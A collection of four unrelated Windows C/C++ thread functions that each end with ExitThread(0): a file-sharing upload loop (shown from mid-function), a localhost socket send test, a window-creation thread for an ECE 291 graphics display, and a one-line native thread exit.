pUpload->m_CanWrite, INFINITE); pUpload->m_CanWrite.ResetEvent(); if(pShell->m_Status != TRANSFER_SENDING) break; } } else { // Upload post-send integrity check /*if(pShell->m_MirrorFile.m_hFile != CFile::hFileNull) pShell->m_MirrorFile.Write(pBuff + BytesSent, AttemptSend); if(pShell->m_CheckFile.m_hFile != CFile::hFileNull) { byte* CheckBytes = new byte[AttemptSend]; pShell->m_CheckFile.Seek(pShell->m_CurrentPos, CFile::begin); pShell->m_CheckFile.Read(CheckBytes, AttemptSend); if( memcmp(pBuff + BytesSent, CheckBytes, AttemptSend) != 0 ) { CString Problem = "Read Check Failed: " + pShell->m_Name + " -- ReadPos=" + NumtoStr(pShell->m_CurrentPos) + ", BytesSent=" + NumtoStr(BytesSent) + ", BytesSent=" + NumtoStr(AttemptSend); pShell->m_pTrans->m_pCore->DebugLog(Problem); } delete [] CheckBytes; }*/ // Send Logging //if( pShell->m_Sha1Hash.Left(4) == "F2K5" ) // pShell->m_pNet->m_pCore->DebugLog("Sent: " + pShell->m_Name + " -- CurrentPos=" + NumtoStr(pShell->m_CurrentPos) + ", SentBytes=" + NumtoStr(AttemptSend)); BytesSent += AttemptSend; pShell->m_CurrentPos += AttemptSend; pShell->m_BytesSent += AttemptSend; pShell->m_AvgSentBytes.Input(AttemptSend); } if(!pShell->m_UpdatedInSecond) pShell->m_UpdatedInSecond = true; } // Get next chunk of bytes from file else { BytesSent = 0; BytesRead = 0; uint64 ReadSize = pShell->m_StopPos - pShell->m_CurrentPos; // If theres a bandwidth limit if(pPrefs->m_BandwidthUp) { if(pShell->m_AllocBytes <= 0) { pShell->m_AllocBytes = 0; pUpload->m_MoreBytes.ResetEvent(); WaitForSingleObject((HANDLE) pUpload->m_MoreBytes, INFINITE); if(pShell->m_Status != TRANSFER_SENDING) break; } if(pShell->m_AllocBytes < ReadSize) ReadSize = pShell->m_AllocBytes; } if(SEND_BUFF < ReadSize) ReadSize = SEND_BUFF; // If file being uploaded is a partial if(pShell->m_IsPartial) { std::map<int, CGnuDownloadShell*>::iterator itPart = pTrans->m_DownloadMap.find(pShell->m_PartialID); if(itPart != pTrans->m_DownloadMap.end()) BytesRead = itPart->second->GetRange(pShell->m_CurrentPos , pBuff, ReadSize); } // If tiger tree being sent else if(pShell->m_TigerTreeRequest) { memcpy(pBuff, pShell->m_TigerTree + pShell->m_CurrentPos, ReadSize); BytesRead = ReadSize; } // Normal file being uploaded else { try { // Stream Test /*if(pShell->m_Name == "stream.mp3") { BytesRead = ReadSize; } else {*/ BytesRead = pShell->m_File.SeekandRead(pShell->m_CurrentPos, pBuff, ReadSize); //} // Send Logging //if( pShell->m_Sha1Hash.Left(4) == "F2K5" ) // pShell->m_pNet->m_pCore->DebugLog("Read: " + pShell->m_Name + " -- CurrentPos=" + NumtoStr(pShell->m_CurrentPos) + ", ReadBytes=" + NumtoStr(BytesRead)); } catch(...) { pShell->m_Error = "Error Reading File"; pShell->m_Status = TRANSFER_CLOSED; } } if(pPrefs->m_BandwidthUp) pShell->m_AllocBytes -= BytesRead; if(BytesRead == 0) { pShell->m_Error = "No Bytes Read from File"; pShell->m_Status = TRANSFER_CLOSED; } } } // Else all bytes sent else { if(pShell->m_KeepAlive) pShell->m_Status = TRANSFER_CONNECTED; else pShell->m_Status = TRANSFER_CLOSED; } // Make sure shell still exists for(int i = 0; i < pTrans->m_UploadList.size(); i++) if(pTrans->m_UploadList[i] == pShell) { pShell->m_UpdatedInSecond = true; if(pShell->m_Socket) pUpload->m_ThreadRunning = false; } //TRACE0("*** Upload Thread Ended\n"); ExitThread(0); }
/* DWORD PALAPI Thread_Client(LPVOID lpParam) This is a client thread started by the main process. It simulate a client connecting to a remote server. */ void PALAPI Thread_Client(LPVOID lpParam) { int i; int err; struct sockaddr_in mySockaddr; /* Sockets descriptor */ const int numSockets = 1; /* number of sockets used in this test */ SOCKET testSockets[1]; /* Variables for WSASend */ WSABUF wsaSendBuf; DWORD dwNbrOfByteSent; DWORD dwNbrOfBuf = 1; DWORD dwSendFlags = 0; unsigned char sendBuffer[255]; WSAOVERLAPPED wsaOverlapped; /* variable for iocltsocket */ u_long argp; DWORD waitResult; /* Variables needed for select */ struct timeval waitTime; fd_set writeFds; int socketFds; HANDLE hWriteEvent; threadExitCode=THREAD_UNDEFINED; /* Sockets initialization to INVALID_SOCKET */ for( i = 0; i < numSockets; i++ ) { testSockets[i] = INVALID_SOCKET; } /* create an overlapped stream socket in AF_INET domain */ testSockets[0] = WSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED ); if( testSockets[0] == INVALID_SOCKET ) { Trace("Client error: Unexpected failure: " "WSASocketA" "(AF_INET SOCK_STREAM IPPROTO_TCP NULL 0 WSA_FLAG_OVERLAPPED) " " returned %d\n", GetLastError()); threadExitCode=THREAD_FAIL; ExitThread(0); } /* enable non blocking socket */ argp=1; err = ioctlsocket(testSockets[0], FIONBIO, (u_long FAR *)&argp); if (err==SOCKET_ERROR ) { Trace("ERROR: Unexpected failure: " "ioctlsocket(.. FIONBIO ..) " "returned %d\n", GetLastError() ); /* Do some cleanup */ CloseSocket( testSockets, numSockets ); threadExitCode=THREAD_FAIL; ExitThread(0); } /* prepare the sockaddr_in structure */ mySockaddr.sin_family = AF_INET; mySockaddr.sin_port = getRotorTestPort(); mySockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); memset( &(mySockaddr.sin_zero), 0, 8); /* connect to a server */ err = connect( testSockets[0], (struct sockaddr *)&mySockaddr, sizeof(struct sockaddr)); if( err == SOCKET_ERROR ) { err = GetLastError(); if ( err != WSAEWOULDBLOCK ) { Trace("ERROR: Unexpected failure: " "connect() socket with local server " "returned %d, expected WSAEWOULDBLOCK\n", GetLastError()); /* Do some cleanup */ CloseSocket( testSockets, numSockets ); threadExitCode=THREAD_FAIL; ExitThread(0); } } /* set the server waiting time as 10 seconds */ waitTime.tv_sec = 10L; waitTime.tv_usec = 0L; /* initialize the except socket set */ FD_ZERO( &writeFds ); /* add socket to readable socket set */ FD_SET( testSockets[0], &writeFds ); /* monitor the readable socket set to determine the completion of the connection request. */ socketFds = select( 0, NULL, &writeFds, NULL, &waitTime); if( socketFds == SOCKET_ERROR ) { Trace("ERROR: Unexpected failure " "with select\n"); /* Do some cleanup */ CloseSocket( testSockets, numSockets ); threadExitCode=THREAD_FAIL; ExitThread(0); } if( socketFds == 0 ) { Trace("ERROR: Unexpected select " "timed out\n"); /* Do some cleanup */ CloseSocket( testSockets, numSockets ); threadExitCode=THREAD_FAIL; ExitThread(0); } /* create events */ hWriteEvent = CreateEvent( NULL, /* no security */ FALSE, /* reset type */ FALSE, /* initial state */ NULL ); /* object name */ if( hWriteEvent == NULL ) { Trace("Client error: Unexpected failure: " "CreateEvent() " "returned %d\n", GetLastError()); /* Do some cleanup */ CloseSocket( testSockets, numSockets ); threadExitCode=THREAD_FAIL; ExitThread(0); } memcpy(sendBuffer, srcString, strlen(srcString)); /* Set the WSABUF structure */ wsaSendBuf.len = 255; wsaSendBuf.buf = sendBuffer; /* Initialize the WSAOVERLAPPED to 0 */ memset(&wsaOverlapped, 0, sizeof(WSAOVERLAPPED)); wsaOverlapped.hEvent = hWriteEvent; /* Send some data */ err = WSASendTo( testSockets[0], &wsaSendBuf, dwNbrOfBuf, &dwNbrOfByteSent, dwSendFlags, (struct sockaddr*)NULL, /* ignored in TCP */ (int)NULL, /* ignored in TCP */ &wsaOverlapped, 0 ); if(err == SOCKET_ERROR ) { /* Handle the overlapped operation */ if(GetLastError()!=WSA_IO_PENDING) { Trace("Client error: Unexpected failure: " "WSASend() " "returned %d\n", GetLastError()); CloseEventHandle(hWriteEvent); /* Do some cleanup */ CloseSocket( testSockets, numSockets ); threadExitCode=THREAD_FAIL; ExitThread(0); } /* Wait 10 seconds for hWriteEvent to be signaled for pending operation */ waitResult = WaitForSingleObject( hWriteEvent, 10000 ); if (waitResult!=WAIT_OBJECT_0) { Trace("Client Error: Unexpected failure: " "WaitForSingleObject has timed out \n"); CloseEventHandle(hWriteEvent); /* Do some cleanup */ CloseSocket( testSockets, numSockets ); threadExitCode=THREAD_FAIL; ExitThread(0); } } /* Verify that the number of bytes sent are the number of byte specified in the wsaBuf structure */ if(wsaSendBuf.len!=wsaOverlapped.InternalHigh) { Trace("Server error: Array out of bound " "while writing buffer received in myData.\n"); CloseEventHandle(hWriteEvent); /* Do some cleanup */ CloseSocket( testSockets, numSockets ); threadExitCode=THREAD_FAIL; ExitThread(0); } /* close the handle to hWriteEvent */ if(!CloseEventHandle(hWriteEvent)|| !CloseSocket( testSockets, numSockets )) { threadExitCode=THREAD_FAIL; ExitThread(0); } threadExitCode=THREAD_SUCCESS; ExitThread(0); }
DWORD WINAPI MyWndThread(LPVOID lpParameter) { MSG msg; HANDLE hMemory; PWNDCLASS pWndClass; BOOL bSuccess; CHAR lpBuffer[128]; HANDLE myEvent = *((HANDLE *)lpParameter); RECT windowRect; hMemory = LocalAlloc(LPTR, sizeof(WNDCLASS)); if(!hMemory){ return(FALSE); } pWndClass = (PWNDCLASS) LocalLock(hMemory); pWndClass->hCursor = LoadCursor(NULL, IDC_ARROW); pWndClass->hIcon = LoadIcon(NULL, IDI_APPLICATION); pWndClass->lpszMenuName = NULL; pWndClass->lpszClassName = (LPSTR) "ECE291Render"; pWndClass->hbrBackground = NULL;//GetStockObject(WHITE_BRUSH); pWndClass->hInstance = GetInstance(); pWndClass->style = 0; pWndClass->lpfnWndProc = (WNDPROC)MyWndProc; bSuccess = RegisterClass(pWndClass); LocalUnlock(hMemory); LocalFree(hMemory); if(*WindowedMode) { RECT windowRect; windowRect.left = 100; windowRect.top = 100; windowRect.right = 100 + windowWidth - 1; windowRect.bottom = 100 + windowHeight - 1; AdjustWindowRect(&windowRect, WS_OVERLAPPED | WS_CAPTION, FALSE); hWnd = CreateWindowEx(0, "ECE291Render", "ECE 291 Graphics Driver Display", WS_OVERLAPPED | WS_CAPTION, CW_USEDEFAULT, CW_USEDEFAULT, windowRect.right - windowRect.left,//CW_USEDEFAULT, windowRect.bottom - windowRect.top,//CW_USEDEFAULT, NULL, NULL, GetInstance(), NULL); } else { hWnd = CreateWindowEx(0, "ECE291Render", "ECE 291 Graphics Driver Display", //WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU, WS_POPUP, 0,//CW_USEDEFAULT, 0,//CW_USEDEFAULT, windowWidth,//CW_USEDEFAULT, windowHeight,//CW_USEDEFAULT, NULL, NULL, GetInstance(), NULL); } if (!hWnd) return FALSE; ShowWindow(hWnd, SW_SHOW); SetForegroundWindow(hWnd); UpdateWindow(hWnd); SetEvent(myEvent); for(;;) { if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) { TranslateMessage(&msg); DispatchMessage(&msg); if (msg.message == WM_CLOSE) break; } } DestroyWindow(hWnd); UnregisterClass("ECE291Render", GetInstance()); SetEvent(myEvent); ExitThread(0); }
static void native_thread_exit(struct c_state *c_state) { DIAGNOSTIC(2,"leaving native thread",0,0); ExitThread(0); }